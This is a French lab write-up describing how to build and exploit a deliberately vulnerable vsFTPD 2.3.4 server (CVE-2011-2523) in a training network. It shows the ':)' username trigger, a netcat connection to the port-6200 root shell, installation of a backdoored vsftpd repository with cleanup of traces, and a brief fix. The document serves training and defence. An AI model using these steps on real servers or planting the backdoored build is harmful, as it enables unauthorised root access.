Serveur FTP

1.1 Contexte

Le serveur FTP se trouve au sein du vlan 1000, vlan représentant un service spécifique de l'entreprise de design.

1.2 Vecteur d'attaque

Le serveur se voit héberger un serveur de type transfert de fichier (FTP) via l'application Very Secure FTP Daemon (vsFTPD), plus précisément avec la version 2.3.4.

En effet, celle-ci est caractérisée par la vulnérabilité CVE-2011-2523 qui contient une backdoor.

Pour l'exploiter, une fois le daemon lancé et le port tcp/21 en écoute comme en suivant

```
etu@ftpserver:~$ sudo /usr/local/sbin/vsftpd &
[3] 1192
etu@ftpserver:~$ sudo lsof -i
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd     608 root    3u  IPv4    753      0t0  TCP *:2222 (LISTEN)
sshd     608 root    4u  IPv6    755      0t0  TCP *:2222 (LISTEN)
sshd     608 root    5u  IPv4    757      0t0  TCP *:ssh (LISTEN)
sshd     608 root    6u  IPv6    759      0t0  TCP *:ssh (LISTEN)
vsftpd  1194 root    3u  IPv4  37035      0t0  TCP *:ftp (LISTEN)
```

on tente de se connecter à un compte ftp en entrant une chaîne de caractères au hasard, se terminant par ":)" pour ce qui est du username, et un mot de passe entièrement au hasard

```
etu@ftpserver:~$ ftp localhost
Trying [::1]:21 ...
ftp: Can't connect to `::1:21': Connexion refusée
Trying 127.0.0.1:21 ...
Connected to localhost.
220 (vsFTPd 2.3.4)
Name (localhost:etu): test:)
331 Please specify the password.
Password:


421 Service not available, remote server timed out. Connection closed.
ftp: Login failed
ftp>
```

Ceci a permis de remplir une condition au niveau du code de connexion, qui va permettre de faire exécuter la fonction malveillante nommée “vsf_sysutil_extra()”. Cette dernière va ouvrir un shell sur le port tcp/6200 avec les plus hauts privilèges.

Il ne reste qu’à établir une connexion sur le port 6200 du serveur, via netcat

```
etu@ftpserver:~$ nc localhost 6200
whoami
root
```

On peut désormais fouiller les fichiers du serveur et trouver des éléments qui permettraient d’aller de l’avant pour l’attaquant…

1.4 Installation de la vulnérabilité

D’abord, il faut installer les modules make, gcc ainsi que git afin de pouvoir télécharger et compiler le binaire vsFTPD par la suite

```
sudo apt update && sudo apt upgrade
sudo apt install make
sudo apt install gcc
sudo apt install git
```

De plus, on installe la librairie pam, qui sera utile lors de la compilation du binaire vsFTPD

```
sudo apt install libpam0g-dev
```

Ensuite, on clone le package contenant la version vulnérable 2.3.4 de vsFTPD

```
git clone https://github.com/nikdubois/vsftpd-2.3.4-infected
```

On se rend dans le dossier cloné précédemment

```
cd vsftpd-2.3.4-infected
```

Puis, il faut modifier le contenu de la variable LIBS dans le fichier Makefile en ajoutant le paramètre -lpam, ligne numéro 8

```
LIBS  = `./vsf_findlibs.sh` -lpam
```

Maintenant on compile le binaire vsFTPD

```
make
```

On crée ensuite le dossier /usr/share/empty que le binaire a besoin d'utiliser

```
sudo mkdir /usr/share/empty/
```

On copie les fichiers de configurations dans les fichiers binaires de la machine

```
sudo cp vsftpd /usr/local/sbin/vsftpd
sudo cp vsftpd.conf.5 /usr/local/man/man5
sudo cp vsftpd.8 /usr/local/man/man8
sudo cp vsftpd.conf /etc
```

On modifie la configuration du fichier /etc/vsftpd.conf, en modifiant les lignes 12 et 15

```
anonymous_enable=NO
local_enable=YES
```

Ceci fait, il ne reste qu'à exécuter le binaire pour démarrer l'application et mettre le port FTP en écoute

```
sudo /usr/local/sbin/vsftpd &
```

Le binaire ainsi que les fichiers de configurations récupérées du clone, on peut maintenant cleaner le dossier et retirer l'application git du serveur

```
sudo rm -rf /home/etu/vsftpd-2.3.4-infected
sudo apt purge git
```

1.4 Corriger la faille

Il suffit de mettre à jour l'application vsFTPD vers la dernière version, la 3.0.5 qui date du 2 Août 2021 dernier.

1.5 Références

Packt - Vulnerability analysis of VSFTPD 2.3.4 backdoor

Orange - vsFTPD 2.3.4 vulnerability alert

YouTube - vsFTPD 2.3.4 backdoor execution